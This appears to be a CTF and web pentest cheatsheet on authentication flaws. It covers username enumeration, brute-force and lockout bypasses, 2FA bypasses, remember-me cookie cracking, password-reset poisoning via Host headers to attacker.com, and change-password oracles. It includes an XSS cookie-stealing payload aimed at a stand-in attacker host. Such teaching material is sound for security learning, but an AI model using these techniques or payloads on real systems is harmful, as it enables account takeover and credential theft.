Authentication Vulnerabilities
Cheatsheet for CTFs & web pentests. Based on PortSwigger Web Security Academy.
Factors: knowledge (password) / possession (token, phone) / inherence (biometrics). Same factor verified twice (e.g. email 2FA) != real MFA.
Recon / username enumeration
Before brute-force, always enumerate valid usernames.
Signals a username is valid:
- Different HTTP status code on login response
- Different error message (also check for subtle typos, trailing whitespace, invisible chars — diff the responses)
- Response time difference — password hashing often only runs for valid users. Amplify with a ~100 char password
- Different account lockout message (“too many attempts” = account exists)
- Registration / password reset / “forgot username” forms leaking account existence
- Public profiles,
mailto:in HTML, author metadata, commit logs - Predictable formats:
firstname.lastname,admin,administrator,root,test,support
Burp Intruder tips:
- Sniper for single param, Cluster bomb for unknown user+pass, Pitchfork for aligned lists
- Sort results by Length, Status, response time
- Use Grep – Extract to pull error msg into a column, sort to spot the odd one
- Enumerate usernames FIRST, then brute-force pwd — much faster than cluster bomb
Brute-forcing passwords
- Strong policy ≠ strong passwords. Users do
Mypassword1!,P@ssw0rd,Summer2025! - Rotation policies → predictable increments
(
Password1→Password2) - Build wordlists from company name, product, year, season, city
- Try credential stuffing with public breach dumps (many users reuse)
Bypassing brute-force protection
IP-based block:
X-Forwarded-For: <spoofed>/X-Real-IP/X-Originating-IP/X-Remote-IP/X-Client-IP— rotate values- Counter resets on successful login? Interleave valid login every
N attempts (pitchfork:
[wiener, carlos, carlos, carlos, wiener, carlos ...]with matching[peter, p1, p2, p3, peter, p4...]) - Resource pool → 1 concurrent req to preserve order
- IPv6 rotation, new TCP source port, Tor/proxies
Account lock:
- Flip the attack: few common passwords × many users (“password spraying”). Stays under per-account limit
- Lockout messages enumerate usernames — check for them
CAPTCHA:
- Only on main form? Look for alternate login endpoints (mobile app, API, old paths)
- Is it actually validated server-side? Drop/blank the token
- Reusable tokens across requests
Rate limit:
- Can multiple guesses fit in one request? (array params, JSON list, GraphQL batching)
HTTP Basic Auth
Authorization: Basic base64(user:pass) — sent every
request.
- No built-in lockout → bruteforceable
(
hydra http-get, Burp Intruder) - No CSRF protection
- Without HSTS → MITM captures creds
- Creds exposed here often reused elsewhere — try them against SSH/RDP/app logins
- Check server-status, backup files, proxies that strip auth header before upstream
2FA / MFA flaws
Bypass checklist:
- Skip the 2FA step: after step 1 login, browse
directly to
/my-account,/home, authenticated endpoints. If session cookie already works → done - Force-browse / param tamper: change
user=/verify=cookie/param between step 1 and step 2 to the victim’s username, then brute-force their code - Pre-auth code generation: hit
GET /login2?verify=carlosto make the server issue a code bound to carlos - Brute-force the code: 4–6 digits = ~10k–1M. Use Turbo Intruder / macros if site invalidates session on N wrong
- Session not invalidated after wrong code → keep guessing with same session
- Reuse / replay of codes — not single-use, or valid for too long
- Race condition on code submit
- Response manipulation: flip
{"success":false}→true, status401→200 - Backup/recovery codes — often weaker, not rate-limited
- Remember-this-device / “trust browser” cookie — forgeable or predictable?
- Downgrade: SMS fallback (SIM swap), email fallback (= single-factor again)
- Pre-2FA endpoints exposed (API, OAuth, legacy mobile endpoint skipping 2FA)
“Stay logged in” / remember me
Always study your own cookie first — you’re an attacker with an account.
- Common pattern:
base64(username + ':' + md5(password))— decode, identify hash by length/charset - Unsalted hash → paste into Google / crackstation / hashcat wordlist. Common passwords crack instantly
- Predictable token (sequential, timestamp, username-derived,
base64(user+timestamp)) - Even “encrypted” cookie may just be base64 / hex / ROT — try decoders first
- Token not invalidated on password change / logout / session timeout
- Token leaks in Referer, logs, HTML, JS source
Bruteforcing a stay-logged-in cookie (Burp Intruder):
- Payload = wordlist of candidate passwords
- Payload processing chain:
Hash: MD5→Add prefix: victim:→Encode: Base64 - Target a page only visible when authenticated (e.g. grep
Update email,Logout, profile email) - Cookie guess limits are often separate from login attempt limits — abuse that
Cookie theft chain:
- Find XSS (comments, profile, search) →
<script>document.location='//attacker/'+document.cookie</script> - Steal victim cookie, decode, crack offline with
hashcat/ wordlist - Even salted: if salt is in the cookie or static, still crackable offline
Password reset / recovery
Inherently dangerous — bypass path around normal auth. Always poke every endpoint in the flow.
- Emailed new password → MITM risk; if not forced-expire, valid forever. Email is persistent, synced, indexed
- Guessable user param in reset URL:
/reset-password?user=carlos→ change to any username, then set their password - Reset token — check for: reused, no expiry, not single-use, predictable (timestamp, incrementing ID, short random, username-derived)
- Token not validated on submit: request reset
for yourself → on the final
POST /forgot-password?token=xxxrequest, delete the token value (both URL and body) AND change theusernamehidden field to victim. Often accepted - Password reset poisoning (Host header
injection):
- Site builds reset link from
Host:/X-Forwarded-Host:/X-Host:→ inject attacker domain POST /forgot-passwordwithX-Forwarded-Host: attacker.comandusername=victim- Victim clicks emailed link → hits attacker with token in query → victim’s token now in attacker’s access log
- Swap token into legit reset URL → set new password
- Site builds reset link from
- Email param in request body
(
POST /reset {token, email, newpass}) — swap email, or HPP:[email protected]&[email protected] - Skip the token check — send the final “set new password” request without the token param
- Response leaks token / new password / success state
- Security questions: low-entropy, publicly known answers, no rate limit, reusable
- Token-to-user binding not checked — request reset for yourself, use your token to reset victim’s password
Change password
Often overlooked — same auth-check surface as login, but usually less hardened.
- Doesn’t require current password → CSRF / session hijack → full account takeover
- Username in hidden field in body → tamper to target other users, turns form into an oracle
- Error-message oracle for brute-forcing other users’
passwords (classic):
- Wrong current pwd + mismatched new pwds →
"Current password is incorrect" - Right current pwd + mismatched new pwds →
"New passwords do not match"← password found, no lock triggered - Right current pwd + matching new pwds → account locked / password actually changes
- Attack: set
username=victim, varycurrent-password, keepnew-password-1 != new-password-2. Grep for “New passwords do not match”
- Wrong current pwd + mismatched new pwds →
- Password policy only enforced client-side
- New password echoed in response / logs
Registration
- Username enumeration via “already taken”
- Email case/normalization:
[email protected]vs[email protected]may create parallel account or overwrite - Null bytes / unicode collisions in username
- Email confirmation bypass → register as
[email protected]if domain whitelisted
OAuth / SSO (quick hits)
- Open redirect on
redirect_uri→ steal code/token statemissing → CSRF on OAuth flow- Implicit flow token in fragment leaked via Referer
- Account linking via attacker-controlled email
General CTF checklist
Tools
- Burp Intruder (Sniper / Pitchfork / Cluster bomb), Resource pool = 1
- Turbo Intruder — fast, scriptable, handles multi-step
ffuf/wfuzzfor login fuzzhydra,medusafor protocol logins (HTTP Basic, SSH, FTP)seclists—Usernames/,Passwords/,xato-net-10-million-usernames-1000.txtcrunch,cewl(site-based wordlists),cupp(targeted)john/hashcatfor offline cracking of recovered hashes